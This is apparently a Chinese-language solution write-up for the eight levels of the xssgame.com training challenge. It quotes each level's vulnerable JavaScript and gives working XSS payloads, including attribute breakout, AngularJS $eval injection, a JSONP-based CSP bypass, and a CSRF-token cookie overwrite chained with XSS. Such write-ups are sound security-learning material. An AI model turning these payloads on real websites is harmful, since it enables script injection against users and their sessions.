http://www.xssgame.com

第一关

1
http://www.xssgame.com/f/m4KKGHi2rVUN/?query=<script>alert(1)</Script>

第二关

1
timer=');alert('1

第三关

js代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
window.onvalidationready = null;
function validate() {
$.post(location.pathname, {'h': location.hash}, function(data, status) {
$('#result').html(data);
if (window.onvalidationready) {
window.onvalidationready();
window.onvalidationready = null;
}
});
}
function chooseTab(name) {
var html = "Cat " + parseInt(name) + "<br>";
html += "<img src='/static/img/cat" + name + ".jpg' />";
document.getElementById('tabContent').innerHTML = html;
// Select the current tab
var tabs = document.querySelectorAll('.tab');
for (var i = 0; i < tabs.length; i++) {
if (tabs[i].id == "tab" + parseInt(name)) {
tabs[i].className = "tab active";
} else {
tabs[i].className = "tab";
}
}
window.location.hash = name;
// Tell parent we've changed the tab
top.postMessage({'url': self.location.toString()}, "*");
}
function hashchange() {
if (self.location.hash) {
chooseTab(decodeURIComponent(self.location.hash.substr(1)));
validate();
} else {
chooseTab(1);
}
}
window.onload = hashchange;
window.onhashchange = hashchange;

payload:

1
' onerror=alert(1)>

第四关

js

1
setTimeout(function() { window.location = 'javascript:alert(1)'; }, 1000);

使用伪协议

1
javascript:alert(1)

第五关

1
<p ng-non-bindable>Sorry, no results were found for <b>{{1+1}}</b>.</p>

PS:ng-non-bindable 指令用于告诉 AngularJS 当前的 HTML 元素或其子元素不需要编译。

payload:

1
http://www.xssgame.com/f/JFTG_t7t3N-P/?utm_campaign={{$eval('alert(1)')}}

第六关

payload

1
?&#123;&#123;$eval('alert(1)');}}

第七关

看js代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function main() {
var m = location.search.match('menu=(.*)'); #匹配值
var menu = m ? atob(m[1]) : 'about'; #atob base64解码
document.write('<script src="jsonp?menu=' + encodeURIComponent(menu) + '"></script>');
}
/**
* Display stuff returned from server side.
* @param {string} data - JSON data from server side
*/
function callback(data) {
if (data.title) document.write('<h1>' + data.title + '</h1>');
if (data.pictures) data.pictures.forEach(function(url) {
document.write('<img src="/static/img/' + url + '"><br><br>');
});
}
main();

CSP:

1
default-src http://www.xssgame.com/f/wmOM2q5NJnZS/ http://www.xssgame.com/static/

这里使用jsonp的callback导致的csp bypass

payload:

1
http://www.xssgame.com/f/wmOM2q5NJnZS/?menu=PHNjcmlwdCBzcmM9Impzb25wP2NhbGxiYWNrPWFsZXJ0KDEpJTNCJTJmJTJmIj48L3NjcmlwdD4=

第八关

CSP:

1
default-src http://www.xssgame.com/f/d9u16LTxchEi/ http://www.xssgame.com/static/

js代码

1
2
3
4
5
6
7
8
9
10
11
12
13
function readCookie(name) {
var match = RegExp('(?:^|;)\\s*' + name + '=([^;]*)').exec(document.cookie);
return match && match[1];
}
var username = readCookie('name');
if (username) {
document.write('<h1>Welcome ' + username + '!</h1>');
}
document.addEventListener("DOMContentLoaded", function(event) {
csrf_token.value = readCookie('csrf_token');
});

可以发现csrf_token是存在cookie中的,而且第一个表单

设置的参数也是存在cookie里面的,那么我们就可以让name=csrf_token来覆盖原来的token,也就是说这里可控。

然后在第二个表单中,如果amount不是整数的话会返回amount的内容,存在xss

但是不知道这里为啥跟别人提示的不一样,没有提示csrf_token的问题呢

payload

1
set?name=csrf_token&value=1&redirect=transfer?name=123&amount=<img src=1 onerror=alert(1)>&csrf_token=1